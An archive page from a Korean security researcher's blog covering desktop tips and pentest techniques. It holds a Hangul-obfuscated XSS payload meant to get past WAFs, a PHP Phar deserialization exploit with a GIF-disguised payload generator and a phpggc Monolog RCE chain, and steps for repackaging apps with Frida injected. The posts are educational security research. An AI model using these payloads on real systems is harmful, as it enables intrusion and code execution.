11/24/2018

Ubuntu Linux에서 Spectable(macOS App) 같은 창 제어 사용하기(Spectable for linux?)

macOS에서 쓸만하다고 느꼈던 App 중 하난 Spectable 입니다. 단축키로 화면 내 창의 위치를 전체화면이나 좌/우/상/하 로 반듯하게 반으로 나누어 정리가 가능합니다.
(이젠 이게 없으면 모니터 정리가 안될듯 싶어요.)

그래서 비슷한 프로그램이 리눅스에도 있을까 쭉 뒤져봤는데, 의외의 곳에서 답을 찾았습니다. Ubuntu 기본 키보드 옵션에 제공해주고 있었네요..
언제부터인진 모르겠으나 추가된 것으로 보입니다(예전엔 분명히 못봤는데 ..ㅜㅜ)

아무쪼록, 키보드 단축키 설정 들어가셔서 지정해주시면 됩니다.

설정 경로

최신버전 
Setting > Device > Keyboard

구버전
Setting > Keyabord > Shortcut

최신 버전 기준으론 Windows 라는 subtitle으로 관련 단축키들이 모아져있습니다. 


- Maximize window : Alt + Super(윈도우 키) + f   (최대 크기 창으로 맞추기)
- View split on left : Alt + Super(윈도우 키) + 방향키 왼쪽
- View split on right : Alt + Super(윈도우 키) + 방향키 오른쪽


여기서 창 제어 부분만 단축키 추가해주시면 얼추 Spectable 같이 사용하실 수 있습니다 :)
Share: | Coffee Me:

iOS에서 Proxy 사용 중 Burp/ZAProxy CA 넣어도 신뢰할 수 없는 사이트 발생 시 해결방법

iOS에서 Burp/ZAProxy CA 인증서 등록하여도 프록시 설정 시 보안 경고가 나는 경우가 있습니다. 물론 매번 예외처리 하면서 할 순 있지만 모바일 앱에선 불가능하기 때문에 통신이 잡히지 않습니다.

무슨 문제인가 하다가 주변에서 힌트를 받아 디바이스 뒤져보다가 메뉴 하나 찾았습니다. (이런거에서 헤맸을줄이야 ㅜㅜ)

"설정 > 일반 > 정보 > 인증서 신뢰 설정(맨 아래)" 에서 빠져있는 인증서 On 해주면 됩니다.


Share: | Coffee Me:

11/21/2018

WAF Bypass XSS Payload Only Hangul(한글만 이용해서 XSS 페이로드 만들기)

어제 뒤적뒤적 웹 서핑하다가 가타카나로 된 공격코드https://github.com/aemkei/katakana.js)를 보고 한글로도 한번 만들어봐야지 싶어 퇴근길에 끄쩍끄쩍했네요..
(폰으로 테스트하는건 진짜...하)


([,하,,,,훌]=[]+{},[한,글,페,이,,로,드,ㅋ,,,ㅎ]=[!!하]+!하+하.ㅁ)[훌+=하+ㅎ+ㅋ+한+글+페+훌+한+하+글][훌](로+드+이+글+한+'(45)')()



위 이미지 처럼 콘솔에 넣고 실행하거나 HTML 코드로 보면 잘 실행됩니다 :)

<html>
  <head>
    <meta charset="utf-8">
  </head>
<script>
([,하,,,,훌]=[]+{},[한,글,페,이,,로,드,ㅋ,,,ㅎ]=[!!하]+!하+하.ㅁ)
[훌+=하+ㅎ+ㅋ+한+글+페+훌+한+하+글][훌](로+드+이+글+한+'(45)')()
</script>
</html>


How to make?

결국은 JSFuck에서 파생된 코드입니다. 아래 코드 보면 interger같이 여러 타입들에서 Array 형태로 호출하면 2.abcd.asdf 하는 식으로 내려갈 수 있습니다. 결국 저런식으로 DOM 객체를 내려갈 수 있다는건데, 이를 통해서 내부 consturctor(생성자)로 특정 함수를 실행할 수 있게됩니다.

(a=1, b=2)["constructor"]["alert"]()
TypeError: 2.constructor.alert is not a function

결국은 각각 한글이 코드를 담고 있는 변수가 되면서

([,하,,,,훌]=[]+{},[한,글,페,이,,로,드,ㅋ,,,ㅎ]=[!!하]+!하+하.ㅁ)
윗줄은 각각 에러 데이터를 이용해서 문자열을 저장하기 위한 방법들

[훌+=하+ㅎ+ㅋ+한+글+페+훌+한+하+글][훌](로+드+이+글+한+'(45)')()
   constructor               constructor    alert(45)

최종적으론 constructor.constructor('alert(45)')() 형태의 코드로 실행됩니다.

훌 : constructor

jsfuck 쪽 내용 참고해주시면 조금이나마 도움됩니다 :)
https://www.hahwul.com/2018/09/jsfuck-xss-payload.html
https://www.hahwul.com/2017/07/web-hacking-angularjs-sandboxdom-based.html  => constructor 관련
Share: | Coffee Me:

ZAProxy에서 Custom Header 추가하기(ZAProxy script)

ZAProxy에서 replacer를 이용해 Request/Response 내용 중 일부를 자동으로 변경할 수 있습니다. 그치만 아예 없던 내용을 추가하는 기능은 없는데요.
script로 넣어두고 쓰면 편리하니 공유드립니다. (이건 뭐 짧아서...)

customHeader.js
// This script crafted by hahwul

function proxyRequest(msg) {
    var custom_header
    custom_header = 'this is custom header values!'
    msg.getRequestHeader().setHeader('Custom Header', custom_header)
    return true
}

function proxyResponse(msg) {
    // Leave the response alone
    return true
}


Request
GET / HTTP/1.1
Host www.hahwul.com
Custom Header: this is custom header values!
....

대충 설명하자면 Proxy 쪽 스크립트는 proxyRequest(), proxyResponse() 두가지 function으로 나누어져 요청을 처리할 수 있습니다.

- proxyRequest : 요청 내용 제어
- proxyResponse : 응답 내용 제어

그래서 각각 부분에 처리 로직을 넣어주시면 Requset/Response에 대해 제어할 수 있습니다 :)
Share: | Coffee Me:

11/19/2018

Frida on Not Jailbreak, Not rooting Devices(비루팅/비탈옥 단말에서 프리다 사용하기)

앱 취약점 분석 시 엄청나게 활용도 높은 프리다. 예전부터 약간 Jailbreak, rooting 단말에서만 동작한다는 편견이 있었는데요.

재미있는 트릭을 이용하면 비루팅/비탈옥 단말에서도 프리다 사용이 가능합니다. 프리다 공식 홈에도 있는 내용이니 참고하시길 바랍니다 :)

How?

Frida 공식 홈에선 Frida gadget 이란 이름으로 소개되고 있습니다. 그 말인 즉슨 분석할 앱에 Frida의 Dynamic library를 넣어 실행하게 하여 마치 frida-server가 떠있는 것과 동일한 효과를 만들 수 있습니다.
일반적인 frida 사용과 동일하게 대상 어플리케이션에 대해 attach 하고 hooking 할 수 있습니다.

정리하면 이렇습니다.

- 비탈옥/비루팅 단말에선 권한에 제약이 있기 떄문에 frida-server를 띄울 수 없음
- 단 앱을 통해 frida-server 처럼 구현할 순 있지만 앱 간 권한으로 간섭이 불가능하기 떄문에 실질직인 분석은 불가능함
- 그래서 분석할 앱에 프리다 코드를 넣고 동작시키게 하여 프리다가 해당 앱을 attach 할 수 있도록 함 

Step by step(Android/iOS)

우리가 해야할일은 프리다 라이브러리를 앱에 집어넣고 실행해야 합니다. 우선 프리다 라이브러리를 다운로드 받습니다.

1. Download frida library
릴리즈 버전, iOS / Android 유무에 따라 링크는 바뀔 수 있습니다. 아래 깃에서 뒤적뒤적해서 맞는 버전으로 다운로드 하시면 됩니다.

#> wget https://github.com/frida/frida/releases/download/9.1.26/frida-gadget-9.1.26-android-arm.so.xz
#> unxz frida-gadget-9.1.26-android-arm.so.xz

압축을 받고 풀어주면 .so(ios는 .dylib) 파일 하나가 남습니다. 이제 라이브러리 파일을 앱에 넣어야하기 떄문에 앱을 풀어줍니다. 

2. Extract Application(Apk,Ipa)
[ Android ]
#> apktool d base.apk
I: Using Apktool 2.3.1 on base.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources…
….
I: Baksmaling classes7.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...

[ iOS ]
#> unzip test.ipa

3. Inject Dynamic Library and Byte code

그다음 라이브러리 파일을 넣어줍니다. Android의 경우는 보통 lib 하위, iOS는 바이너리에 직접 주입합니다. (frida 홈에선 따로 앱을 만드는 방식을 추천하네요. 참고)
그리고 삽입한 라이브러리를 코드단에서 로드할 수 있도록 smail 코드단을 수정해서 라이브러리를 로드해줍니다.

[ Android ]
#> cp frida-gadget-9.1.26-android-arm.so base/lib/armeabi/libfrida.so

#> vim splash.smail
....
const-string v1, "frida”
invoke-static {v1}, Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V

// byte 코드 풀어서 보면 결국 loadLibrary("frida") 이며 앱 라이브러리 디렉토리에서 frida라는 이름의 라이브러리를 읽습니다.
// 그래서 아까 넣은 libfrida.so가 로드됩니다. 
....

[ iOS ]
여긴 그냥 툴 쓰시는게 편할듯합니다. 저는 탈옥 기기로 하는지라, 트러블슈팅까진 어려울듯하네요 ㅜㅜ
#> insert_dylib frida.dylib test
(https://github.com/Tyilo/insert_dylib)

아주 먼지같은 팁이지만, loadLibray 시 앱이 죽는 경우도 있을 수 있어(앱이 크면 더더욱) 삽입 구간을 잘 골라야합니다.
보통은 바로 트리거될 수 있게 splash, main의 oncreate 등에도 많이 넣고 다른 라이브러리 불러오는 구간에서 같이 로드시키면 에러나 비정상 동작할 가능성이 줄어듭니다.
그래서 코드단에서 grep 으로 포인트 찾아보고 주입하는게 좋습니다.

#> grep * -R “loadLibrary"

4. Repackaging App
다시 앱을 묶어 주고 서명합니다. 그럼 일단 본인의 키 파일으로 frida 코드가 주입된 앱은 만들 수 있습니다. 

[ Android ]
#> apktool b -o 123.apk base/
#> jarsigner -sigalg SHA1withRSA -digestalg SHA1 -keystore custom.keystore -storepass test1234 123.apk hwul

[ iOS ]
#> codesign -f -s E18BA16DF86318F0ECA4BE17C03… test/test.app/test
#> zip test.zip ./test/ -R
#> mv test.zip inject.ipa


이제 frida-ps로 보면..

#> frida-ps -U
Waiting for USB device to appear...
  PID  Name
-----  ------
2025  Gadget

이런식으로 Gadget 이란 이름으로 잡힙니다.

번외 - iOS

공식 홈 내용 일부입니다. frida 깃에서 FridaGadget 떙긴 후 XCode를 이용해 삽입하는 방법입니다.
링크 읽어보시길..

https://www.frida.re/docs/ios/#without-jailbreak

$ mkdir Frameworks
$ cd Frameworks
$ frida_version=x.y.z
$ curl https://github.com/frida/frida/releases/download\
/$frida_version/frida-gadget-$frida_version-ios-univers\
al.dylib.xz | xz -d > FridaGadget.dylib
$ security find-identity -p codesigning -v
  1) A30E15162B3EB979D2572783BF3… "Developer ID Application: …"
  2) E18BA16DF86318F0ECA4BE17C03… "iPhone Developer: …"
     2 valid identities found
$ codesign -f -s E18BA16DF86318F0ECA4BE17C03… FridaGadget.dylib
FridaGadget.dylib: replacing existing signature
Share: | Coffee Me:

11/16/2018

iOS MinimumOSVersion 우회 삽질기(Test case for bypass ios min sdk version)

최근에 iOS 앱 중 최소 설치버전 제한 떄문에 약간 삽질했던 내용 아까워서 기록합니다.
결론부터 말씀드리면 해당 앱 기준으론 성공하지 못했습니다...

https://vignette.wikia.nocookie.net/disney/images/2/25/Vader-nooooo.jpg


iOS도 Android 처럼 minSdkVersion을 가지고 있으며 Info.plist에 MinimumOSVersion로 지정해서 사용하게 되어있습니다.

우선 찾아보니 2가지 정도로 MinimumOSVersion 우회를 넘어갈 수 있는 방법들이 있더군요.
(잠깐 찾아보고 테스트 해봤던거라 가능한건데 해결 못한걸수도 있습니다)

우선은 iOS 디바이스 내 SystemVersion 파일을 수정하는 방법입니다. /System/Library/CoreServices 경로에 SystemVersion.plist 파일이 있고 이 파일에는 버전에 대한 정보가 기입되어 있습니다.

iosios:/System/Library/CoreServices root# cat SystemVersion.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>ProductBuildVersion</key>
    <string>14G60</string>
    <key>ProductCopyright</key>
    <string>1983-2016 Apple Inc.</string>
    <key>ProductName</key>
    <string>iPhone OS</string>
    <key>ProductVersion</key>
    <string>10.3.3</string>
</dict>
</plist>

여기서 ProductionVersion의 값을 바꿔주면 된다곤 하는데, 혹시몰라 ProductBuildVersion 도 바꿔주었습니다.
ProductionBuildVersion은 아래 iOS History 문서보면 버전별로 빌드 네임이 있습니다. 그 부분입니다.

(https://en.wikipedia.org/wiki/IOS_version_history)

    <key>ProductBuildVersion</key>
    <string>13F69</string>
    <key>ProductVersion</key>
    <string>9.3.2</string>

그리고.. 2번째는 앱 내부에 Info.plist에서 직접 바꿔주는겁니다. 사실 소스코드가 있다면 Xcode에서 바꿔주면 확실하지만 압축 해제 후 Info.plist에서 버전정보 수정 후 재 서명 후 넣어주면 어느정도 가능하다고 봅니다.
(이런 형태의 방법은 안드로이드에서도 많이 사용하죠)

#> unzip test.ipa
#> cd test/test.app/

app directory까지 진입하면 앱의 정보를 가지고 있는 Info.plist 파일이 있습니다(분석떄도 이 파일 많이 참조하죠..iOS의 Manifest라고 생각하심될듯)
잘 찾다보면 MinimumOSVersion key와 value값이 확인됩니다. 원하는 버전으로 바꿔줍시다

#> vim Info.plist
    <key>MinimumOSVersion</key>
    <string>10.0</string>

그리고 다시 압축해서 ipa 파일로 만들어주면 우선 앱 파일은 다시 만들어진 상태입니다.

#> zip -r hwul.zip ./*
#> mv hwul.zip hwul.ipa

여기서 개별 앱에 대한 무결성 검증차 서명이 필요한데, 개인의 Xcode 인증서나 Cydia Impactor로 서명해서 설치해주시면 됩니다.
Cydia Impactor로 넣어주면 인증서 문제도 해결됩니당 (Cydia Impactor는 사용자의 iTunes 계정으로 서명하기 떄문에 서명 우회를 할 필요가 없음)

보통은 이런 방법들로 재서명하니 참고하시길..
https://www.ketzler.de/2011/01/resign-an-iphone-app-insert-new-bundle-id-and-send-to-xcode-organizer-for-upload/

제 환경이 문제인지 앱이 문제인지 이런 방법들이 잘못된건지 정확하겐 모르겠지만, 비슷한 문제를 해결하는데 있어 조금이라도 도움되셨길 바랍니다 :)

Share: | Coffee Me:

11/13/2018

Phar(PHP Archive)에서의 PHP Deserialization 취약점(BlackHat 2018)

시간날때 천천히 못본 blackhat 자료 보고있는데, 눈길을 끄는게 하나 있어 정리해서 글로 작성해봅니다.
(https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf)

오늘 이야기드릴 내용은 Phar의 Deserialze 취약점입니다. 어떤게 문제이고 어떻게 테스트하고 어떻게 막아야할지?(이건 내용이 없..) 알아봅시다.

What is Phar?

Phar는 PHP Archive로 phar 파일에 어플리케이션 로직(단일 코드라고 하기엔 좀 애매하네요..)을 저장할 수 있는 php의 확장입니다.
PHP 코드에서 사용할 때에는 Stream Wrapper 통해 기능을 구현하며 include로 phar 파일을 읽어와서 사용합니다.

*Stream wrappers : http:// file:// zlib:// phar:// 등등...

예시를 보면 이런식으로 사용합니다.

<?php
  include 'phar:///path/to/myphar.phar/file.php' ;
  // myphar.phar 내 file.php를 불러옵니다. 
?>

include로 직접 php 파일을 불러오는 것과 유사하지만, 실제 파일은 myphar.phar 하나이며 이 archive 내에 있는 여러 코드를 하위 경로로 불러와서 사용할 수 있다는 점이 다릅니다.

Phar Structure

Phar 파일은 4가지의 구조로 이루어져있습니다.

- Stub
- Manifest
- File contents
- Signature (Optional)

Stub은 작은 형태의 코드를 담을 수 있는 공간입니다. Stub에 저장된 코드는 phar/stub.php에 저장되며 별도로 지정하지 않으면 phar 코드를 실행하는 코드(7k 정도)가 기본값으로 들어있습니다.
해당 영역에 __HALT_COMPILER(); 코드가 있어야 phar 파일로 인식합니다.

Manifest엔 해당 phar 파일에 대한 meta 데이터가 있습니다.

Phar Manifest file entry
Size in bytes     Description
4 bytes         Filename length in bytes
??              Filename (length specified in previous)
4 bytes         Un-compressed file size in bytes
4 bytes         Unix timestamp of file
4 bytes         Compressed file size in bytes
4 bytes         CRC32 checksum of un-compressed file contents
4 bytes         Bit-mapped File-specific flags
4 bytes         Serialized File Meta-data length (0 for none)
??                 Serialized File Meta-data, stored in serialize() format

File Contents는 phar내 데이터 영역입니다.
Signature는 phar에 대한 시그니처(개소리)

Deserialize Vulnerability

읽다가 어? 한 부분이 있을수도 있습니다. phar의 재미있는점은 Manifest에 있는데,
마지막의 byte 내용을 보면 serialize() 포맷에 맞는 Serialized 데이터의 영역입니다. 곧 해당 파일을 사용할 때 Deserialize 하여 사용한다는 이야기이고, 이는 곧 Deserialize 취약점에 노출될 수 있다는 소리입니다.

<?php
    class TestObject {
    }
    $phar = new Phar("phar.phar"); 
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); // stub 영역입니다. 
    $o = new TestObject();
    $o -> data='hahwul';
    $phar->setMetadata($o); // manifest에 데이터를 씁니다. TestObject 객체를 생성해서 값을 채운 후 객체 데이터가 들어갔습니다.
                            // phar 파일의 manifest 영역엔 Serialized된 TestObject 객체가 들어가게 됩니다. 
    $phar->addFromString("test.txt", "test");
    $phar->stopBuffering();
?>

해당 파일을 불러오는 쪽 코드에서 아래와 같이 TestObject 객체가 있고 __destruct() 함수에 data를 찍도록 정의되어 있다면 위 데이터에 들어간 hahwul이 찍히게 됩니다.

<?php
class TestObject{
    function __destruct()
    {
        echo $this -> data;    // Result : hahwul
    }
}
include('phar://phar.phar');
?>

Manifest의 Serialized 구간은 __destruct 와 __wakeup 시 로드되어 실행됩니다. 코드상에 __destruct(), __wakeup()이 있는 객체 선언이 있어야하며, phar 파일 업로드 및 로드가 가능한 구간이 있다면 충분히 테스트해볼 가치가 있습니다.
예시에선 include로 로드하였었지만, file_exists(),fopen(), file(), file_get_contents(), include() 등 phar 처리가 가능한 function들이 많이 있어서 이 부분은 생각보다 잘 나올 수 있습니다.
특히나 파일 업로드 구간에 file_exists()가 있는 경우는 많기 떄문에 좋은 트리거 포인트가 될 수 있죠.

만약 phar 파일을 올릴 수 있는 구간이 있고 아래와 같이 우리가 입력한 파라미터 값을 가지고 file_exists를 호출하는 페이지가 있다고 하면..

file.php
<?php
$filename=$_GET['path'];
class imgObject{
    var $output = 'echo "ok";';
    function __destruct()
    {
        eval($this -> output);
    }
}
file_exists($filename);

공격자는 stub를 GIF90a 즉 gif 이미지로 맞추어 검증 로직을 속일 수 있는 phar 파일을 만들 수 있습니다. 위의 __destruct() 내 eval로 싫애되는 output 값에 공격자가 실행할 php 명령이 들어가게 되면 공격코드가 삽입된 phar 파일이 만들어지게 됩니다.

pay_gen.php
<?php
class imgObject{
    var $output = 'echo "ok";';
    function __destruct()
    {
        eval($this -> output);
    }
}
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new imgObject();
$object -> output= 'phpinfo();';
$phar -> setMetadata($object);
$phar -> stopBuffering();

이제 file.php를 통해 이 파일을 불러와보면 phpinfo()가 실행된 걸 볼 수 있습니다.

http://192.168.0.13:9494/file.php?path=phar://tempdir/phar.phar/phar.gif

Make Payloads

아 위에 코드로 phar 파일이 생성이 안되는 경우가 있는데 php.ini 파일에 phar.readonly가 off로 설정하지 않으면 phar 생성이 불가능합니다. 옵션을 바꿔주시면 됩니다.
(기반값이 1 즉, 사용이라... / 참고 http://php.net/manual/en/phar.configuration.php)

음 위에선 테스트 코드로 하느라 eval로 불렀지만 실제론 아닐겁니다. 코드 넣기가 까다롭기 때문에 Gadget Chain을 이용합니다. (PHP Generic Gadget Chains)
ysoserial에 php가 있음 참 좋겠지만 없기 떄문에 phpggc(https://github.com/ambionics/phpggc)로 직접 만들어줍니다.
(git issue 보며 ysoserial 쪽에선 gitter로 질문하랬지만, 전 잘 안보이네요. 아마 ysoserial에서 php 코드 올리는거 있을겁니다. 찾아보시길.. https://gitter.im/frohoff/ysoserial)

#> phpggc 
$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}

Phar 처리가 가능한 functions

생각보다 많습니다.. 심지어 자주 사용되는 것들..

file()
filetime()
filectime()
fileatime()
file_put_contents()
fileinode()
file_exists()
filegroup()
fileowner()
file_get_contents()
fopen()
fileperms()
is_dir()
is_readable()
is_executable()
is_writable()
is_writeable()
is_file()
is_link()
parse_ini_file()
copy()
unlink()
stat()
readfile()

Defense & Solution

결국은 phar에 대한 업로드 제한, 검증과 phar 구조의 마지막인 Signature(다만 옵셔널,,ㅎ하핳) 정도가 있을듯하네요.
결국은 업로드된 phar 파일 이를 불러오는 함수간의 관계에 얽힌거라 정확한 솔루션에 대해선 고민이 더 있어야할듯 싶습니다. (이거까지 고민하면 뭔가 업무가 되는 느낌...ㅋㅋㅋ)

Reference

https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf
http://php.net/manual/en/book.phar.php
http://php.net/manual/en/phar.fileformat.phar.php
Share: | Coffee Me:

11/11/2018

asciinema - Linux/Macos에서의 터미널 녹화 프로그램

Record and share your terminal sessions, the right way

그냥.. 이미지에요

가끔 기술 블로그들 보면 동영상으로 터미널 화면을 설명하는데, youtube나 vimeo가 아니 화면에 복사/붙여넣기가 가능한 영상을 올리시는 분들이 있습니다.
asciinema라는 녹화 프로그램&공유서비스인데요, 가끔 요긴하게 쓰일 것 같아 글로 작성해둡니다.

생긴지는 좀 된 서비스같네요. 리눅스/맥 환경만 지원하며 apt, brew 등으로 간편하게 설치할 수 있습니다.

Linux
#> apt-get install asciinema

Macos
#> brew isntall asciinema

옵션을 보면 .. rec, play, cat, upload, auth 정도로 옵션을 주어서 녹화할껀지, 볼껀지, 업로드할껀지 등을 고를 수 있습니다.

#> asciinema
usage: asciinema [-h] [--version] {rec,play,cat,upload,auth} ...

Record and share your terminal sessions, the right way.

positional arguments:
  {rec,play,cat,upload,auth}
    rec                 Record terminal session
    play                Replay terminal session
    cat                 Print full output of terminal session
    upload              Upload locally saved terminal session to asciinema.org
    auth                Manage recordings on asciinema.org account

optional arguments:
  -h, --help            show this help message and exit
  --version             show program's version number and exit

example usage:
  Record terminal and upload it to asciinema.org:
    asciinema rec
  Record terminal to local file:
    asciinema rec demo.cast
  Record terminal and upload it to asciinema.org, specifying title:
    asciinema rec -t "My git tutorial"
  Record terminal to local file, limiting idle time to max 2.5 sec:
    asciinema rec -i 2.5 demo.cast
  Replay terminal recording from local file:
    asciinema play demo.cast
  Replay terminal recording hosted on asciinema.org:
    asciinema play https://asciinema.org/a/difqlgx86ym6emrmd8u62yqu8
  Print full output of recorded session:
    asciinema cat demo.cast

이런 형태로 .cast 파일로 저장할 수 있습니다.

#> asciinema rec test.cast

(-t 옵션으로 타이틀만 지정해줄 시 asciinema 홈페이지로 업로드하여 cdn 처럼 사용할 수 있습니다. )

보통은 asciinema 사이트로 올리거나 .cast 파일 저장 후 따로 올려서 사용하는데요, 어렵지 않습니다.

cast 파일은 asciinema player로 재생이 가능하며 공식 git에서 플레이어 js/css를 배포하고 있습니다.
웹 페이지에서 로드해준 후 아래와 같이 태그 형태로 불러주면 잘 로드됩니다.

js, css 다운로드 : https://github.com/asciinema/asciinema-player/releases

<asciinema-player src="/cast/xxxxxx.cast"></asciinema-player>
Share: | Coffee Me:

11/01/2018

Burp suite Daracula(dark) Theme Release!


오늘이 할로윈이라 그런가요. Burp 팀에서 좋은 소식을 주었습니다.
(어제 밤에 글써놓고 뻗어서 자버렸네요....)


2.0.10beta 버전 업데이트인데요, 정말 기다려왔던 Dark 테마 적용에 대한 업데이트였습니다.
(할 수 없어서 이런식으로 쓰고있었지요.. https://www.hahwul.com/2018/07/owasp-zap-burp-suite-change-color.html)

깔끔하고 좋네요!

업데이트 후 User options > Display > Look and feel 에 “Daracula”가 추가되어 있습니다.



Share: | Coffee Me: